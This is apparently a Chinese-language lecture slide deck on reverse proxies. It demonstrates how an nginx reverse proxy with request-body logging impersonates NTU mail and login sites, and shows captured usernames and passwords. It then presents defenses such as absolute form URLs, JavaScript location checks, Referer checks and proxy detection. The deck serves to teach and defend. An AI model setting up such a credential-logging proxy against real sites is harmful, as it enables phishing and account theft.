:	17 0.003158	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	СР	66 35864 → 443 [ACK] Seq=747 Ack=3073 Win=64128 Len=0 TSval
	18 0.003168	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	LSv1.2	762 Application Data
:	19 0.003171	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	CP	66 35864 → 443 [ACK] Seq=747 Ack=3769 Win=63488 Len=0 TSval
-	20 0.003174	0	254 140.112.105.	200 44	3 140.112.23	7.5	35864 T	CP	66 443 → 35864 [FIN, ACK] Seq=3769 Ack=747 Win=15346 Len=0
•	21 0.003249	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	CP	66 35864 → 443 [FIN, ACK] Seq=747 Ack=3770 Win=64128 Len=0
:	22 0.003368	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	CP	66 443 → 35864 [ACK] Seq=3770 Ack=748 Win=15346 Len=0 TSval

L7 Reverse Proxy HTTP(s)

- * 限校内 IP: use HTTPs
 - * <u>https://netadm.cc.ntu.edu.tw/ip/</u> <u>query.php</u>

IP位址

$120.96.0.222 \ \text{TW}$



- * 不限校内 IP: use HTTP
 - http://demo2.buda.idv.tw/ip/quer y.php

IP位址

120.96.0.222 TW



由単位名稱查詢 🗸

查詢 (單位查詢可用部分字串)

補充3: L4 Reverse Proxy HTTPs 加密

2 TCP Sessions 需相同 Protocol 末端 Server 為 Internet Web Site

L4 Reverse Proxy TCP Port 8443 (HTTPs)



L4 Reverse Proxy Demo1





- * 等同 <u>http://www.tp1rc.edu.tw:443/</u>
- * 使用 http 連線 https Service

L4 Reverse Proxy Demo1

* L4_443_LoadBalance_1_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protocol	Length	Info								
	1 0.000000	0	125	120.96.0.222	57196	140.112.237.5	8443	ТСР	66	57196	→ 8443	[SYN]	Seq=0	Win=64	240 Le	en=0 M	SS=1460	WS=256
1	2 0.000038	0	64	140.112.237.5	8443	120.96.0.222	57196	ТСР	66	8443 -	57196	[SYN,	ACK] S	Seq=0 A	ck=1 ₩	/in=64	240 Len:	=0 MSS=
	3 0.000938	0	125	120.96.0.222	57196	140.112.237.5	8443	ТСР	60	57196	→ 8443	[ACK]	Seq=1	Ack=1 N	Win=26	52656	Len=0	
	4 0.003003	0	125	120.96.0.222	57196	140.112.237.5	8443	HTTP	788	GET /	HTTP/1.	1						
	5 0.003016	0	64	40.112.237.5	8443	120.96.0.222	57196	ТСР	54	8443 -	• 57196	[ACK]	Seq=1	Ack=73	5 Win=	=64128	Len=0	
	6 0.003876	0	64	140.112.237.5	8443	120.96.0.222	57196	HTTP	863	HTTP/1	.1 400	Bad R	equest	(text	/html))		
	7 0.003984	0	64	140.112.237.5	8443	120.96.0.222	57196	ТСР	54	8443 -	57196	[FIN,	ACK] S	5eq=810	Ack=7	735 Wi	n=64128	Len=0
	8 0.004734	0	125	120.96.0.222	57196	140.112.237.5	8443	ТСР	60	57196	→ 8443	[ACK]	Seq=73	35 Ack=	811 Wi	.n=261	888 Len:	=0
	9 0.005545	0	125	120.96.0.222	57196	140.112.237.5	8443	ТСР	60	57196	→ 8443	[FIN,	ACK] S	Seq=735	Ack=8	311 Wi	n=26188	8 Len=0
	10 0.005552	0	64	140.112.237.5	8443	120.96.0.222	57196	ТСР	54	8443 →	57196	[ACK]	Seq=83	11 Ack=	736 Wi	n=641	28 Len=	0

* L4_443_LoadBalance_2_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protocol	Length	Info			
2	1 0.000000	e	64	140.112.237.5	51924	140.112.2.208	443	ТСР	74	51924 → 443	[SYN]	Seq=0 Win=64240 Le	en=0 MSS=1460 :
8	2 0.000709	e	62	140.112.2.208	443	140.112.237.5	51924	ТСР	74	443 → 51924	[SYN,	ACK] Seq=0 Ack=1 W	/in=65160 Len=
£	3 0.000726	6	64	140.112.237.5	51924	140.112.2.208	443	ТСР	66	51924 → 443	[ACK]	Seq=1 Ack=1 Win=64	1256 Len=0 TSv.
	4 0.002077	6	64	140.112.237.5	51924	140.112.2.208	443	HTTP	800	GET / HTTP/1	L.1		
Ξ	5 0.002419	6	62	140.112.2.208	443	140.112.237.5	51924	ТСР	66	443 → 51924	[ACK]	Seq=1 Ack=735 Win=	=64512 Len=0 T
	6 0.002847	6	62	140.112.2.208	443	140.112.237.5	51924	HTTP	875	HTTP/1.1 400	9 Bad	Request (text/html	.)
	7 0.002853	e	64	140.112.237.5	51924	140.112.2.208	443	ТСР	66	51924 → 443	[ACK]	Seq=735 Ack=810 Wi	.n=64128 Len=0
L	8 0.002962	6	62	140.112.2.208	443	140.112.237.5	51924	ТСР	66	443 → 51924	[FIN,	ACK] Seq=810 Ack=7	/35 Win=64512
L	9 0.002987	e	64	140.112.237.5	51924	140.112.2.208	443	ТСР	66	51924 → 443	[FIN,	ACK] Seq=735 Ack=8	311 Win=64128
	10 0.003198	e	62	140.112.2.208	443	140.112.237.5	51924	ТСР	66	443 → 51924	[ACK]	Seq=811 Ack=736 Wi	.n=64512 Len=0

L4 Reverse Proxy Demo2

https://140.112.237.5:8443/

你的連線不是私人連線

攻擊者可能會試圖從 140.112.237.5 竊取你的資訊 (例如密碼、郵件或信用卡資料)。 <u>瞭解</u> <u>詳情</u>

NET::ERR_CERT_COMMON_NAME_INVALID

♀ 要獲得 Chrome 最高等級的安全防護,請<u>啟用強化防護功能</u>

陽藏詳細資料

返回安全性瀏覽

伺服器無法證明其屬於 140.112.237.5 網域;其安全性憑證來自 www.tp1rc.edu.tw 網域,這可能是因為設定錯誤,或有攻擊者攔截你的連線所致。

* 成功連線,但顯示憑證無效。



Reverse Proxy =? Fake Website

L7 Reverse Proxy Fake Website

HTTPs TCP Session1

開啟 Log 記錄 request_body:

/etc/nginx/nginx.confhttp {

log_format post_logs '\$request_body';
access_log /var/log/nginx/post.log post_logs;

/etc/nginx/sites-enabled/default
 server {

listen 80;

}}₃₈

NGI/X Reverse Proxy

demo5.buda.idv.tw

listen 443 ssl;

server_name demo5.buda.idv.tw;

ssl_certificate /etc/letsencrypt/live/demo5.buda.idv.tw/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/demo5.buda.idv.tw/privkey.pem; location / {

WWW

HTTPs

TCP Session2

proxy_pass https://www.ntu.edu.tw;
#proxy_pass http://www.ntu.edu.tw;
#proxy_pass https://mail.ntu.edu.tw;
#proxy_pass https://wmail1.cc.ntu.edu.tw;
#proxy_pass https://www.tp1rc.edu.tw;

Fake Website 台大首頁

- * 原始: <u>https://www.ntu.edu.tw</u>
- Fake: https://demo5.buda.idv.tw or http://demo5.buda.idv.tw

🛞 學術單位 - 國	立臺灣大學 × +	🛞 國立臺灣大學 × +
\leftrightarrow \rightarrow C	demo5.buda.idv.tw/academics/academics.html	← → C ▲ 不安全 demo5.buda.idv.tw
	← 安全性 × ^{校學生 國際} demo5.buda.idv.tw	demo5.buda.idv.tw ×
	 ■ 已建立安全連線 你傳送給這個網站的資訊 (例如密碼或信用卡號 ○ 不会也油。 暗刻對焦 	▲ 你與這個網站的連線不安全 請勿在這個網站上輸入任何機密資訊(例如密碼或 信用卡號碼),以免遭到攻擊者竊取。瞭解詳情
	喻」 不曾 外 浅。 瞭 脾 詳 何 ■ 憑證有效	 ✿ Cookie 目前使用15個 Cookie ☑ ✿ 網站設定

- * proxy_pass http://www.ntu.edu.tw;
 - * Not working. 因為會 redirect to https://www.ntu.edu.tw

Fake Website NTU Mail

- * 原始: <u>https://mail.ntu.edu.tw</u>
- Fake: <u>https://demo5.buda.idv.tw/</u>

🗆 demo5.buda.idv.tw/owa/auth/logon.aspx?re... 🛛 🗟

NTU Mail

帳號 Account

davisyou

密碼 Password

\leftrightarrow \rightarrow G	demo5.bud	a.idv.tw/owa/#path=/mail/inbox
Ⅲ 郵件	Ħ	J正常登入及使用
搜尋郵件和人員	P	⊕ 新增 ✔ •••
 7 我的最愛 收件匣 寄件備份 刪除的郵件 小 游子興 	1	收件匣 Cacti Event Alert - Alert Successfully authenticated Cacti Syslog Alert 'Alert Successfully authenticated' for Host '14(
收件匣	1	************************************
草稿 寄件備份 刪除的郵件		NOTIFICO (International Decomposition International Intern

* Login 帳密側錄: cat post.log | grep davisyou

root@ubuntu2204:/var/log/nginx# cat post.log | grep davisyou

destination=https%3A%2F%2Fmail.ntu.edu.tw%2Fowa&flags=4&forcedownlevel=0&username=davisyou&password= 🚺 🚛 🚛 🚛 🚛 🚛 🖉 & passwordText=&trusted=4&isUtf8=1

Fake Website NTU Mail

- * 無法使用 http:// 登入
 - http://demo5.buda.idv.tw
- * 原因不明,待釐清

不安全 | demo5.buda.idv.tw/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=https%3a%2f%2fmail.ntu.edu.tw%2fowa%2f

Fake Website NTU Webmail (新版)

- * 原始: https://wmail1.cc.ntu.edu.tw/rc/index.php
- * Fake: <u>https://demo5.buda.idv.tw/rc/index.php</u>



* Login 帳密側錄: username and passwords logged when they login.

root@ubuntu2204:~# cat /var/log/nginx/post.log _token=eIahzqW8ALfx7yQAa6TlKD1UWdaKgScm&_task=login&_action=login&_timezone=Asia%2FTaipei&_url=&_user=abc&_pass=xyz

Fake Website NTU Webmail (舊版)

- * 原始: <u>https://wmail1.cc.ntu.edu.tw/imp/login.php</u>
- Fake: <u>https://demo5.buda.idv.tw/imp/login.php</u>

I	demo5.buda.idv.tw/imp/login.php 🔤								
	Welco	ome to NTU Web	oMail						
	Username Password	abc							
	Language	English (American) Login 🙆	~						

[2021/07/05: 學號帳號(含新入學、校友)→ 請改用新版 webmail •] Contact : E-mail (Please inform your account) Tel : 02-3366-5022 , 02-3366-5023



* Login 帳密側錄: 失敗

* 失敗原因分析: F12

歡迎到 NTU WebMail

🕕 登入失敗,請檢查閣下的用戶名和密碼,然後重試.



[2021/07/05: 學號帳號(含新入學、校友), 請改用新版 webmail。]

Contact : E-mail (Please inform your account) Tel : 02-3366-5022 , 02-3366-5023



Image: Second Sources Network Performance Memory Application S Image: Second Sources Network Performance Memory Application S Image: Second Sources Image: Secon										
Name Image: redirect.php Iogin.php?imapuser=abc&hor Iogin.php?imapuser=abc&hor Iogin.php?imapuser=abc&hor Iogin.php?imapuser=abc&hor Image: redirect.php Image: redirect.php <td></td> <td>Elements</td> <td>Console</td> <td>So</td> <td>urces Netv</td> <td>vork Perfor</td> <td>mance Me</td> <td>mory Appli</td> <td>cation S</td>		Elements	Console	So	urces Netv	vork Perfor	mance Me	mory Appli	cation S	
Filter Invert Hide data URLs All Fetch/XHR JS CSS Ing Media Font Invert 1000 ms 2000 ms 3000 ms 4000 ms 5000 ms 6000 ms 7000 ms 8000 ms 1000 ms 2000 ms 3000 ms 4000 ms 5000 ms 6000 ms 7000 ms 8000 ms Name X Headers Payload Preview Response Initiator Timing I redirect.php X Headers Payload Preview Response Initiator Timing I redirect.php X Headers Payload Preview Response Initiator Timing I redirect.php X Headers Payload Preview Response Initiator Timing Request URL: https://wmaill.cc.ntu.edu.tw/imp/redirect.php Request Method: POST Status Code: 302 Found Remote Address: 140.112.2.161:443 Remote Address: 140.112.2.161:443 Remote Address: 140.112.2.161:443	• • •	7 Q 🗆	Preserve	log	Disable c	ache No thro	ttling 🔻 🧟	à 🛨 🛨		
□ 3rd-party requests 1000 ms 2000 ms 300 ms 4000 ms 5000 ms 6000 ms 7000 ms 8000 ms Name ✓ ✓ ✓ ✓ ✓ Image: Second	Filter			nvert	🗌 Hide data	URLs All Fe	etch/XHR JS	CSS Img Me	dia Font I	
1000 ms 2000 ms 3000 ms 4000 ms 5000 ms 6000 ms 7000 ms 8000 ms Name ✓ Headers Payload Preview Response Initiator Timing I ogin.php?imapuser=abc&hor ✓ Headers Payload Preview Response Initiator Timing I ogin.php?imapuser=abc&hor ✓ General Request URL: https://wmaill.cc.ntu.edu.tw/imp/redirect.php Request Method: POST 302 Found Remote Address: 140.112.2.161:443	□ 3rd-party	requests								
Name × Headers Image: Payload	1000 ms	2000 ms	300)0 ms	4000 ms	5000 ms	6000 ms	7000 ms	8000 1	
Name × Headers Image: Payload Preview Request Preview Preview Response Initiator Timing Image: Payload Preview Request Request Request URL: https://wmail1.cc.ntu.edu.tw/imp/redirect.php Request Rethod: Post Status Code: Status Status Remote Address: 140.112.2.161:443										
Name × Headers Payload Preview Response Initiator Timing Image: redirect.php • General Image: login.php?imapuser=abc&hor Image: ea3d7318912eca3b5915c7ccd Image: redirect.php Image: redi										
 redirect.php login.php?imapuser=abc&hor ee3d7318912eca3b5915c7ccd 79fe166209a5a0b9bc773742 message.png menu.png 	Name			×	× Headers Payload Preview Response Initiator Timin					
 login.php?imapuser=abc&hor ee3d7318912eca3b5915c7ccd 79fe166209a5a0b9bc7737442 message.png menu.png 	📃 redirect.p	hp		▼ Ge	neral					
 ee3d7318912eca3b5915c7ccd 79fe166209a5a0b9bc7737442 message.png menu.png 	📃 login.php	?imapuser=abo	&hor	D	oguart LIRL - I	http://www.il	11 cc stu od	u tulimalaadi	inact php	
 Request Method: POST 79fe166209a5a0b9bc7737442 message.png menu.png Remote Address: 140.112.2.161:443 	ee3d7318	912eca3b5915	c7ccd	Request OKL: https://wmaiii.cc.htu.edu.tw/imp/redirect.php						
 79fe166209a5a0b9bc7737442 message.png menu.png Status Code: 302 Found Remote Address: 140.112.2.161:443 			c/ ccu	Request Method: POST						
message.png menu.png menu.png	2 79fe1662	09a5a0b9bc773	37442	Status Code: 😑 302 Found						
menu.png	message.	png								
	— menu.png	3		Kemote Address: 140.112.2.161:443						
Referrer Policy: strict-origin-when-cross-origin	horde-po	wer1 ppg		Referrer Policy: strict-origin-when-cross-origin						

* 失敗原因分析: Absolute URLs

C 🌢 wmail1.cc.ntu.edu.tw/imp/login.php

S 10 \$

Welcome to NTU WebMail	🕞 🔂 🛛 Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder 🛦 >>
Wercome to we bound Username Password Language English (American) Login 21/07/05: 學號帳號(含新人學、校友), 請改用新版 webmail •] Chatact: E-mail (Please inform your account) Fe: 22-3386-5022, 02-3386-5023 Improve webmail login speed-HOWTO Improve webmail login speed-HOWTO	<pre>ca href="http://plwik.org" title="Web analytics" onclick="window.open(this.href);return(false);"> cscript type="text/javascript"> var pkBaseUKL = ("https:" == document.location.protocol) ? "https://ccsun37.cc.ntu.edu.tw/piwik/" : "http://ccsun37.cc.ntu.edu.tw/piwik/" document.write(unescape("%30script src='" + pkBaseUKL + "piwik.js' type='text/javascript"%3E%30/script%3E%30/</pre>
	TJ

- * Use Absolute URLs instead of Relative URLs.
- * JavaScript
 - * Check document.location.href against your domain
 - * Ref. https://stackoverflow.com/questions/3899292/how-to-protect-a-webserver-from-a-reverse-proxy-server
- * After Submit, Check "Request Header Referrer"
 - * If not from Original Domain, Redirect 302 it.

- * 臺大區網 -> 會員專區
 - https://www.tp1rc.edu.tw/https/data_sys/login.php
- Fake: <u>https://demo5.buda.idv.tw/https/data_sys/login.php</u>

連線單位帳戶 登入 帳號: 密碼: <u>登入</u>

臺大區網連線單位登入系統

- * Login 帳密側錄:
- * ~# tail /var/log/nginx/post.log

* 臺大區網 -> 會員專區: 現況

tp1rc.edu.tw/https/data_sys/login.php

臺大區網連線單位登入系統



🕞 💼 🛛 Eler	nents	Console	Sources	Network	Per					
<html></html>										
khead>	ad>									
▼ <body bgcold<="" td=""><td>on="#EBF</td><td>SFF"></td><td></td><td></td><td></td></body>	on="#EBF	SFF">								
▼ <center></center>										
<h2>臺大</h2>	區網連線	單位登人系	:統							
<pre> </pre>										
<pre> </pre>										
<pre> </pre>										
▼ <table b<="" td=""><td>order="</td><td>1"></td><td></td><td></td><td></td></table>	order="	1">								
▼ <tbody< td=""><td>></td><td></td><td></td><td></td><td></td></tbody<>	>									
<pre></pre>	a contrata la	#25.0# h = -	-1 #0000	offus da						
··· · · · · · · · · · · · · · · · · ·	a wiath=	= 250 bgc	:010r= #990	UFF > == ⊉0	,					
x	(Center)	tion-"de	2 login pho"	mothod-"PO	ст"、					
	· 作題		TOBTU-bub	mechou- ro	51 2					
	cinput	· type="te	vt" name="	Account">						
	(br)	. cype ce	AC Home	Accounter y						
	" 密碼									
	kinput	: tvpe="pa	ssword" na	¶e="Passwor	d">					
	<pre> </pre>	and the								
	<pre><cente< pre=""></cente<></pre>	en>								
	kinp	ut type="	submit" va	Lue="登入">						
	<td>ien></td> <td></td> <td></td> <td></td>	ien>								

方法1: Absolute URLs

https://demo5.buda.idv.tw/https/data_sys/login2.php

C 🌢 tp1rc.edu.tw/https/data_sys/login2.php

臺大區網連線單位登入系統

	連線單位帳戶 登入	
帳號:		
密碼:		
	登入	

R		Elements	Console	Sources	Network	Performance	Memory	Application	Securi	
	 kh2: kbn: <b< th=""><th>〉 → 臺大區網連約 →</th><th>泉單位登人系统</th><th>统</th><th></th><th></th><th></th><th></th><th></th></b<>	〉 → 臺大區網連約 →	泉單位登 人系统	统						
	▼ <tab< td=""><td>) ple border="</td><td>'1"></td><td></td><td></td><td></td><td></td><td></td><td></td></tab<>) ple border="	'1">							
	▼ <t< td=""><td>:body></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></t<>	:body>								
	•									
		▼ <td td="" width<=""><td>="250" bgcd</td><td>olor="#99C</td><td>CFF"></td><td></td><td></td><td></td><td></td></td>	<td>="250" bgcd</td> <td>olor="#99C</td> <td>CFF"></td> <td></td> <td></td> <td></td> <td></td>	="250" bgcd	olor="#99C	CFF">				
		▼ <center< td=""><td>></td><td></td><td></td><td></td><td></td><td></td><td></td></center<>	>							
		"連線	單位帳戶"							
		<pre> </pre>								
		"登人"	•							
		(conto								
		<pre></pre>	rz ction="httr	oc • / /unanat th	ninc edu tw	/https/data_sy	s/do login	php" method="	POST"N	
		· 帳報	eeron- neep 통: "	75.7700000.C	р <u>н</u> с.еаа.сы,	neepsydaea sy	sydo rogin.	php mechod-	<u>1051 /</u>	
		kinpu	t type="tex	ct" name="/	Account">					
		<pre> </pre>	21							
		" 密碼	馬: "							
		kinpu	t type="pas	sword" nar	ne="Password	d">				
		<pre> </pre>								
		▼kcent	er>							
		kin	put type="s	ubmit" val	Lue="登入">					
		<td>ter></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	ter>							

方法2: Check document.location.href

Demo

- * https://demo5.buda.idv.tw/https/data_sys/login3.php
- * 立刻 redirect to
- * https://www.tp1rc.edu.tw/https/data_sys/login3.php
- * 程式碼

```
<script Language="JavaScript">
```

if (document.location.href.indexOf("www.tp1rc.edu.tw") == -1){

window.location = 'https://www.tp1rc.edu.tw/https/data_sys/login3.php';

</script>

※Client Side Script 可能被中介程式 Disable



After Submit, Check "Request Header Referrer"

* 正常: https://www.tp1rc.edu.tw/https/data_sys/login4.php

* 異常: https://demo5.buda.idv.tw/https/data_sys/login4.php

Initiator

C	login3.php										
	FR Ele	ements Console	Sources Ne	twork Perform	ance Memory A	Application S	ecurity Lightho	ouse Rec			
	Search ×	🖲 🛇 🖓 🔍	Preserve	e log 🛛 🗹 Disable	e cache No throttling	▼ <u>_</u>	<u>+</u>				
臺大區網連線單位登入系統	Aa .* C	Filter		Invert 🗌 Hide data URLs All Fetch/XHR JS CSS Img Media Font Doc WS W				oc WS W			
		Blocked Requests	3rd-party	requests							
		10 ms	20 ms	30 ms	40 ms	50 ms	60 ms	70 ms			
		-									
連線單位帳戶											
登入		Name		× Headers	Payload Preview	Response Ir	nitiator Timing	Cookies			
		do_login3.php									
22、11前:		🗐 login3.php			L: https://demo5.bu	da.idv.tw/http	gin3.php				
보기				Request Method: POST		Nar	Namo		X Headers Payload Preview Response Initiaty		
				Status Code: 😑 302 Found					Accept-canyuage. en-os, en, q=0.9		
				Remote Ad	dress: 140.112.237.5	:443	login3.php		Cache-Control: no-cache		
				Referrer Po	li cy : strict-origin		logino.prip		Connection: keep-alive		
									Content-Length: 24		
									Content-Type: application/x-www-form-urlencoded		
									Cookie: PHPSESSID=2tjg6mil1iifb3nf0gqqgajou5		
									Host: demo5.buda.idv.tw		
									Origin: https://demo5.buda.idv.tw		
					51				Pragma: no-cache		
									Referen: https://demo5.buda.idv.tw/		



<?php

if (strpos(\$_SERVER['HTTP_REFERER'],'www.tp1rc.edu.tw') == false) {
 header("Location: https://www.tp1rc.edu.tw/https/data_sys/login4.php");
 exit;



How to detect Reverse Proxy?

∗ Wappalyzer 服務偵測



How to detect Reverse Proxy?

∗ Wappalyzer 服務偵測





How to detect Reverse Proxy?

* 無具體方法,可當學術研究題目.

- * https://www.acunetix.com/vulnerabilities/web/reverse-proxydetected/
- * https://portswigger.net/bappstore/a112997070354d249b64b4cf 68eabc04
- * https://www.tenable.com/plugins/nessus/12225

簡報完畢 謝謝